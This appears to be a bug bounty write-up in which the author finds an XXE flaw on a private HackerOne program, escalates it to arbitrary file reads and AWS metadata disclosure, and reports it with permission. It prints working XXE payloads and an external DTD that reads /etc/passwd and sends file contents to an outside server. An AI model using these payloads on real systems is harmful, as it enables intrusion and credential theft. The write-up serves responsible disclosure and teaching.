XXE to AWS metadata disclosure

I recently found a critical vulnerability on a private program on HackerOne that allowed me to get their Amazon Web Services root keys. Because of this, the vulnerability was rated as a 10.0 critical, the highest possible.

After having been unable to hack for several months due to a family emergency, I finally got home and wanted to get started again. I looked through my private invites for a recently launched program to hack on, and basically picked one at random. It had a rather small scope but I decided to look through it anyway, just to get started again.

I ran the few subdomains through ffuf with my custom wordlist and checked the results. One of the subdomains, which initially just presented a blank page, had an interesting page when I went to //foo; notice the 2 backslashes. Within 10 minutes I had found an XSS here, the URL was reflected in a verbose error page and I got reflected XSS with a payload in the query parameter. It later turned out to be a duplicate though.

A couple days later I returned and wanted to dig a little deeper on this subdomain. On GitHub I found repository with testing credentials and a login payload for this subdomain and decided to test it out. Without this GitHub leak I’d never have known there was a login function here, as it wasn’t presented anywhere. The path was rather obscure and wasn’t picked up by my wordlists.

I was able to login with the test credentials and was given a token that would have allowed me to upload files. Since the POST payload was XML I decided to dig deeper by testing for XXE DTD (XML eXternal Entity Document Type Declaration).

The only place I could call a DTD was in the password field; the username was defined by the URL path. I used a basic POST payload like this:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE passwd [<!ELEMENT passwd ANY>
<!ENTITY xxe SYSTEM "http://webhook.site/foo" >]> 

And was able to get a hit to my webhook instance. With this I knew that DTD was enabled. I also tried querying for a file on the web server, but this didn’t work.

Next step was to try and retrieve an external DTD. I changed http://webhook.site/foo to a dummy self-hosted DTD and observed that the web application fetched this file.

Now I had all that I needed to try and read a file on the web application server and send its contents to my own server. I sent a payload like this:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE passwd [!ENTITY % file SYSTEM "file:///etc/passwd"> [<!ENTITY % xxe SYSTEM "http://myserver.com/pwn.dtd"> %xxe; ]> 

And the following self-hosted DTD as pwn.dtd:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://myserver.com/?data=%file;'>"> %all;

However it didn’t work as expected. While the web application did fetch my DTD I never got the subsequent request to ?data, but rather an error message in the app. Turns out the special characters in /etc/passwd broke the GET request.

Checking my own Linux system for singleline files with no special characters, I came upon /etc/hostname. Susbstituting /etc/passwd for this file in my payload, I was able to read its contents! I still wasn’t happy with the impact though but wanted to be able to read any file on the system, so I tried exfiltrating through FTP and of course directly in the application response. None of this worked though, so I reported the vulnerability to HackerOne as a high impact XXE DTD Local File Inclusion (LFI).

Next day I kept speculating about the vulnerability. I wasn’t happy with the impact and wanted to try and find some way to exfiltrate arbitrary files. The HackerOne triager assigned to my report wanted me to try and exfiltrate another file too, though they were fine with it being a single-line file.

I talked to Dee-see (great hacker!) and he sent me a link to a technique using the jar: protocol to extract files:

Adapting the DTD file from the above link I again tried exfiltrating /etc/passwd:

<!ENTITY % all "<!ENTITY send SYSTEM 'jar:%file;/myserver.com!/'>"> %all;

And it actually worked! Not as an out-of-bound LFI though, I was able to read the whole /etc/passwd right in the server response! I reported this to HackerOne and they triaged my report as high. For a little more information on the jar: protocol, see this. It is actually used to read files inside a .zip or .jar file. Somehow though it broke the web application and allowed me to read the contents of any file.

I still wasn’t completely satisfied with my report though, I kept thinking I might be able to elevate this to a critical. I tried scanning the server for open ports thinking maybe I could get the SSH keys and log in, but only ports 80 and 443 were open. I then asked HackerOne for permission to dig around the server to try and escalate, and they agreed.

By just supplying file:/// in the file entity I was able to read the contents of a directory, but I couldn’t read /proc/self/environ which might have stored the AWS metadata; again some special character broke the flow, even using jar:. I then thought about turning the LFI into an SSRF (Server Side Request Forgery) and query the typical AWS metadata endpoint
Of course I didn’t know the user_role but by going to
the web application was kind enough to disclose them to me in an error message!

I reported this to the program on HackerOne and they changed the severity to a 10.0 crit. I was later awarded a 2000$ bounty, my highest yet!

What did I learn from this? Always try to dig deeper, don’t be content with reporting something unless you’ve tried everything to escalate the severity. And of course, if in doubt, ask for permission. I did not like poking through a company’s production server without explicit permission, but they were understanding and gave me permission to proceed as long as I did so with without altering or accessing sensitive data.

Unfortunately I can’t disclose the name of the company nor my report, but if they ever go public I’ll ask for disclosure from them.